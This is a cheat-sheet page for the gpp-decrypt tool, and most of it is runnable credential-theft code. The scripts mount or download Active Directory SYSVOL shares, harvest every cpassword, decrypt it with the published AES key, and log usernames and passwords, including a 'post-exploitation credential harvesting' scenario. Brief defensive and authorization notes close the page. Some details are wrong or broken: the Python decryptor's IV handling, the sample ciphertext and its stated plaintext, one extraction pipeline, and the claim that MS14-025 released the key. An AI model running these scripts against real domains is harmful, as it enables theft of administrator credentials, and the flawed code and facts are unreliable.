تخطَّ إلى المحتوى

gpp-decrypt

gpp-decrypt is a tool for decrypting credentials stored in Group Policy Preferences (GPP). Microsoft published the AES encryption key used for GPP passwords, making historically stored credentials in Groups.xml files vulnerable to decryption. This tool is used in authorized penetration testing to identify weak credential management practices in Active Directory environments.

IMPORTANT: Only use gpp-decrypt on systems and networks you own or have explicit written authorization to test.

Background: Group Policy Preferences Vulnerability

Section titled “Background: Group Policy Preferences Vulnerability”
  • Microsoft released the AES decryption key for GPP in MS14-025 (May 2014)
  • Prior versions of Windows Server automatically decrypted GPP passwords
  • Credentials stored in GPP are now considered compromised if older domain controllers are in use
  • Windows Server 2003, 2008, 2008 R2, 2012 (pre-patch)
  • Windows 7, 8, Vista, XP (pre-patch)
# Kali Linux (pre-installed in many versions)
which gpp-decrypt

# Ubuntu/Debian
sudo apt-get update
sudo apt-get install gpp-decrypt

# Or build from source
git clone https://github.com/kunal94/gpp-decrypt.git
cd gpp-decrypt
gcc gpp-decrypt.c -o gpp-decrypt -lcrypto
gpp-decrypt
# or
python3 gpp-decrypt.py --help
# C version
gpp-decrypt <cpassword_hash>

# Python version
python3 gpp-decrypt.py <cpassword_hash>

cpassword values are stored in Group Policy XML files:

\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\{GUID}\Machine\Preferences\<SECTION>.xml

Common locations:

  • Groups.xml — Local Groups, Group Members
  • Services.xml — Services
  • ScheduledTasks.xml — Scheduled Tasks
  • DataSources.xml — Data Sources
  • Drives.xml — Drive Mappings
  • Printers.xml — Printer Connections
<?xml version="1.0" encoding="UTF-8"?>
<Groups version="1">
  <User
    clsid="{3243D8A5-6FA8-43F5-84F4-3B9569C3D85E}"
    name="Administrator"
    image="0"
    changeLogon="0"
    noChange="0"
    neverExpires="1"
    disabled="0"
    userName="DOMAIN\Administrator"
    cpassword="2bQwj3SU5gHs83+CVtgyQAAAAA=="
    cpasswordEncrypted="0"
    expires="0"
    chatFlag="0"
    removePolicy="0"
    uid="{12345678-1234-1234-1234-123456789012}"
    pwdLastSet="131234567890"
    gPCUserExtensionNames="[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{3060E8CE-7020-11D2-842D-00C04FA372D4}]"
  />
</Groups>
# Decrypt known cpassword
gpp-decrypt '2bQwj3SU5gHs83+CVtgyQAAAAA=='

# Expected output
Decrypted password: MyP@ssw0rd!
# Extract and decrypt from Groups.xml
grep -oP 'cpassword="\K[^"]+' Groups.xml | xargs -I {} gpp-decrypt '{}'

# Decrypt all instances in file
for pwd in $(grep -oP 'cpassword="\K[^"]+' Groups.xml); do
  echo "Found cpassword: $pwd"
  gpp-decrypt "$pwd"
done
# Mount SYSVOL share if accessible
mount -t cifs //domain.com/sysvol /mnt/sysvol \
  -o username=user,password=pass,domain=DOMAIN

# Or via SMB
smbclient //domain.com/sysvol -U DOMAIN\\user

# List policies
ls -R /mnt/sysvol/domain.com/Policies/
# Search for vulnerable XML files
find /mnt/sysvol -name "*.xml" -path "*/Preferences/*"

# Search specifically for Groups.xml
find /mnt/sysvol -name "Groups.xml"

# Search for any XML with cpassword
find /mnt/sysvol -name "*.xml" -exec grep -l "cpassword" {} \;
#!/bin/bash
# Extract all cpasswords from SYSVOL

SYSVOL_PATH="/mnt/sysvol"
output_file="decrypted_passwords.txt"

echo "[*] Searching for cpasswords in SYSVOL..."
> $output_file

for xml_file in $(find $SYSVOL_PATH -name "*.xml" -exec grep -l "cpassword" {} \;); do
  echo "[+] Found: $xml_file"
  
  # Extract cpassword values
  grep -oP 'cpassword="\K[^"]+' "$xml_file" | while read cpass; do
    echo "[*] Attempting to decrypt: $cpass"
    decrypted=$(gpp-decrypt "$cpass" 2>/dev/null)
    if [ $? -eq 0 ]; then
      echo "[+] Decrypted: $decrypted" | tee -a $output_file
    fi
  done
done

echo "[*] Results saved to $output_file"

Using PowerShell to Extract GPP Credentials

Section titled “Using PowerShell to Extract GPP Credentials”
# Find and decrypt Group Policy Preferences from SYSVOL
$SysVolPath = "\\$env:USERDOMAIN\sysvol\$env:USERDOMAIN\policies"
$XmlFiles = Get-ChildItem -Path $SysVolPath -Include *.xml -Recurse

foreach ($XmlFile in $XmlFiles) {
  [xml]$XmlContent = Get-Content $XmlFile
  
  # Check for cpassword attribute
  if ($XmlContent.SelectNodes("//*[@cpassword]")) {
    $cpassword = $XmlContent.SelectNodes("//*[@cpassword]").cpassword
    Write-Host "Found cpassword in $($XmlFile.FullName): $cpassword"
  }
}

PowerShell Method 2: Get-GPPPassword (Third-party module)

Section titled “PowerShell Method 2: Get-GPPPassword (Third-party module)”
# If Get-GPPPassword module is available
Get-GPPPassword

# Or the improved Get-DomainGPPPassword from PowerView
Get-DomainGPPPassword
#!/bin/bash
# Batch decrypt cpasswords from multiple sources

# Input file with one cpassword per line
INPUT_FILE="cpasswords.txt"
OUTPUT_FILE="decrypted.txt"

if [ ! -f "$INPUT_FILE" ]; then
  echo "Error: $INPUT_FILE not found"
  exit 1
fi

> $OUTPUT_FILE

count=0
while IFS= read -r cpassword; do
  echo "[*] Decrypting: $cpassword"
  result=$(gpp-decrypt "$cpassword" 2>/dev/null)
  
  if [ $? -eq 0 ]; then
    echo "$cpassword => $result" >> $OUTPUT_FILE
    echo "[+] Success: $result"
    ((count++))
  else
    echo "[!] Failed to decrypt: $cpassword" >> $OUTPUT_FILE
    echo "[!] Failed: $cpassword"
  fi
done < "$INPUT_FILE"

echo "[+] Decrypted $count passwords"
echo "[+] Results saved to $OUTPUT_FILE"

Scenario 1: Post-Exploitation Credential Harvesting

Section titled “Scenario 1: Post-Exploitation Credential Harvesting”
# After gaining domain admin or system access
# Copy SYSVOL locally
mkdir -p /tmp/sysvol_copy
cp -r /mnt/sysvol /tmp/sysvol_copy

# Search for all credentials
echo "[*] Extracting all Group Policy credentials..."
grep -r "cpassword" /tmp/sysvol_copy/*/Policies/*/Machine/Preferences/*.xml | \
  grep -oP 'cpassword="\K[^"]+' | \
  sort -u > /tmp/cpasswords.txt

# Decrypt all
while read cpass; do
  gpp-decrypt "$cpass"
done < /tmp/cpasswords.txt > /tmp/credentials_decrypted.txt

# Analyze results
cat /tmp/credentials_decrypted.txt
#!/bin/bash
# Reconnaissance against accessible domain

domain="example.com"

# List accessible policies
echo "[*] Checking accessible policies..."
smbclient "//domain.com/sysvol" -U "DOMAIN\user%password" -c "ls" 2>/dev/null | \
  grep "Policies"

# Enumerate and download Groups.xml
echo "[*] Downloading Groups.xml files..."
smbclient "//domain.com/sysvol" -U "DOMAIN\user%password" \
  -c "prompt OFF; mget Policies/*/Machine/Preferences/Groups.xml" \
  2>/dev/null

# Find and decrypt credentials
echo "[*] Extracting credentials..."
find . -name "Groups.xml" -exec grep -Ho "cpassword" {} \; | \
  cut -d'"' -f2 | \
  while read cpass; do
    echo "Domain: $domain"
    echo "cpassword: $cpass"
    gpp-decrypt "$cpass"
    echo "---"
  done
#!/bin/bash
# Extract and organize decrypted credentials

sysvol_path="/mnt/sysvol"
creds_file="credentials_found.txt"

> $creds_file

# Process each XML file with cpassword
for xml in $(find $sysvol_path -name "*.xml" -exec grep -l "cpassword" {} \;); do
  # Extract username and cpassword
  grep -oP 'userName="\K[^"]+|cpassword="\K[^"]+' "$xml" | \
    paste - - | while read username cpass; do
      
      # Decrypt
      password=$(gpp-decrypt "$cpass" 2>/dev/null)
      
      if [ $? -eq 0 ]; then
        # Store in organized format
        echo "Username: $username" >> $creds_file
        echo "Password: $password" >> $creds_file
        echo "Source: $xml" >> $creds_file
        echo "---" >> $creds_file
      fi
    done
done

# Display summary
echo "[+] Credentials found:"
grep "^Username:" $creds_file | wc -l
# Using the known AES key
# The key is: 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b

# Create test environment
mkdir -p test_gpp
cat > test_gpp/Groups.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<Groups version="1">
  <User name="TestUser" userName="DOMAIN\TestUser" 
        cpassword="2bQwj3SU5gHs83+CVtgyQAAAAA==" />
</Groups>
EOF

# Test decryption
gpp-decrypt "2bQwj3SU5gHs83+CVtgyQAAAAA=="
# Look for SYSVOL access in audit logs
# Check for repeated access to Policies folder

# Monitor for gpp-decrypt tool usage
ps aux | grep -i "gpp\|sysvol"

# Check recent file access
find /mnt/sysvol -name "*.xml" -mtime -1
# 1. Remove cpasswords from GPP
# 2. Apply MS14-025 patch to all domain controllers
# 3. Delete active GPP files containing sensitive credentials

# 4. Use LAPS (Local Admin Password Solution) instead of GPP
# for local admin password management

# 5. Implement IRM (Information Rights Management) for SYSVOL
ProblemSolution
”Cannot find module”Install gpp-decrypt: apt-get install gpp-decrypt
Decryption failsEnsure cpassword format is correct (Base64 encoded)
Permission denied on SYSVOLNeed domain credentials with SYSVOL read access
No cpassword foundCheck file paths, may require system access
# Test with known working cpassword
gpp-decrypt '2bQwj3SU5gHs83+CVtgyQAAAAA=='

# Check if tool is working
which gpp-decrypt
gpp-decrypt -h 2>&1 || gpp-decrypt --help 2>&1

# Verify file access
ls -la /mnt/sysvol/

# Check for XML files
find . -name "*.xml" -type f 2>/dev/null
#!/usr/bin/env python3
# Manual AES decryption of cpassword
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# Known key (from MS14-025)
key = bytes.fromhex(
    '4e9906e8fcb66cc9faf49310620ffee8'
    'f496e806cc057990209b09a433b66c1b'
)

# IV for AES-CBC (first 16 bytes are IV, rest is ciphertext)
cpassword_b64 = '2bQwj3SU5gHs83+CVtgyQAAAAA=='
cpassword_bytes = base64.b64decode(cpassword_b64)

# Extract IV and ciphertext
iv = cpassword_bytes[:16]
ciphertext = cpassword_bytes[16:]

# Decrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)

# Convert from UTF-16LE to UTF-8
password = plaintext.decode('utf-16le')
print(f"Decrypted: {password}")
  • Only test systems you own or have explicit written authorization
  • Document all findings and maintain chain of custody
  • Report vulnerabilities responsibly to system administrators
  • Do not use credentials without authorization
  • Follow responsible disclosure practices

When reporting GPP credential exposure:

  1. Identify all affected domain controllers
  2. List decrypted credentials discovered
  3. Recommend immediate remediation
  4. Suggest long-term solution (LAPS)
  5. Provide guidance on detection methods
ToolPurpose
MetasploitPost-exploitation framework with GPP module
PowerViewPowerShell Active Directory enum
Get-GPPPasswordPowerShell GPP extraction
MimikatzCredential extraction tool